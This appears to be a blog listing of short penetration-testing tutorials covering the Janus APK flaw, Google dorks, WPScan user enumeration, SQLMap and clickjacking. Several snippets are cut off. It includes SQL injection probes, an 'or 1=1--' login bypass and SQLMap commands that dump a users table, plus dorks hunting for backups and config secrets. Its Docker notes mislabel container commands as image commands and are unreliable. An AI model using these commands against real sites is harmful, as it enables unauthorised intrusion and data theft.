Cyber Security | Web Development

  Janus Vulnerability(Exploitation) In brief, Applications that are signed only with v1 when installed on devices having an android version(5.0–8.0) are vulnerable to Janus Vulnerability. Step 1: Use the  apksigner tool and verify the signature v1 is only true , Hence it's highly possible to exploit the Janus vulnerability in the android application. CMD: apksigner verify -verbose h5.apk(Victim app) Before that we need to make sure that this application can be made to run on vulnerable Android versions  5.x, 6.x, 7.x & 8.0 (i.e., api level 21–26). Step 2:  Now let's check with min android version running on the application use apktool . CMD: apktool -s d H5.apk && cat H5/apktool.yml | grep minSdk The below application can be run on API Level 15(Android 4.0.4 Ice Cream Sandwich), so we can choose any device from  5.x, 6.x, 7.x & 8.0  to exploit it. A serious vulnerability in Android allows attackers to inject a DEX file into an APK file with...

 What is Google Dorks A Google dork query, sometimes just referred to as a dork, is  a search string or custom query that uses advanced search operators to find information not readily available on a website . Google dorking, also known as Google hacking, can return information difficult to locate through simple search queries. URL: https://www.tutorialspoint.com/google_hacking_tests.htm             https://www.exploit-db.com/google-hacking-database Commands: allintext: filetype: intitle: allinurl: link: site: email lists: log files: inurl: intitle: GHDB: https://www.exploit-db.com/ Practice Tutorial for Google Dorks https://www.tutorialspoint.com/google_hacking_tests.html Parameter Dorks php?id=1 Specific Domain Search php?id=1 shopping Search by Domain site: simplelearn.com site: avg.com phishing Search by URLs inurl: ethical hacking or "ethical" inurl: backup.zip inurl:config secret inurl:& intext:admin intext:login intext: “Index...

  Download WPScan using Docker in Kali Tool Description: It is used  to scan WordPress websites for known vulnerabilities both in WordPress and commonly used WordPress plugins and themes . The code base for WPScan is licensed under GPLv3. WPScan is a WordPress black box scanner. Step 1:      sudo apt install docker.io Step 2:     sudo  docker pull wpscanteam/wpscan Step 3:      sudo docker run -it --rm wpscanteam/wpscan --url https://domain.in --enumerate u1-100 --random-user-agent      u - Users Enumeration POC Note : If you are concerned with the API key register and get the free API key. Link in the below:      https://wpscan.com/

Tool Name: jadx-gui Step 1: Download the Jadx-Gui tool from the given below link. https://github.com/skylot/jadx/releases/tag/v1.4.5 Step 2: Extract the downloaded file(jadx-gui). Step 3: Open your appropriate .apk file in the application. Enjoy it… 😊 POC:

 Basic Docker Image Commands Pull the docker image from the online resource docker pull <docker-image> List all Docker images in the machine docker ps -a Remove Docker from the machine docker rm --force <docker-image> Stop the docker image in the machine docker container stop <docker-image> Start the docker image in the machine docker container start <docker-image> Remove all docker images from the machine docker rm -f $(docker ps -a -q)

 SQLMap We have to copy the request from the burp suite and paste it into the .txt file format. Type -1 Safest technique: level 1 & risk 1 level 1 & risk 2 level 2 & risk 1 level 2 & risk 2 Commands: sqlmap -r test.txt --banner sqlmap -r test.txt --banner --level 2 --risk 1 sqlmap -r test.txt --banner --dbms=PostgreSQL --level 2 --risk 1  => if you found database sqlmap -r test.txt --banner --dbms=PostgreSQL --level 2 --risk 1 Type -2 Error based SQL - Injection https://testdemo.com/sports.php?id=1' https://testdemo.com/sports.php?id=2-1 https://testdemo.com/sports.php?id=3-1 https://testdemo.com/sports.php?id=1_sleep(11) SQLmap TOOL: python sqlmap.py -u https://testdemo.com/sports.php?id=1 --dbs sqlmap -u https://testdemo.com/sports.php?id=1 --dbs sqlmap -u https://testdemo.com/sports.php?id=1 acuart --tables sqlmap -u https://testdemo.com/sports.php?id=1 acuart  --tables users --dump Email = SELECT*FROM users WHERE username='or 1=1--' password='qwer...

  Clickjacking Description: Clickjacking is  an attack that tricks a user into clicking a webpage element that is invisible or disguised as another element . This can cause users to unwittingly download malware, visit malicious web pages, provide credentials or sensitive information, transfer money, or purchase products online. Impact: The user assumes that they're entering their information into a usual form but they're actually entering it in fields the hacker has overlaid on the UI . Link URL: https://clickjacker.io/ POC: The simplest way to identify our application is from a clickjacking attack.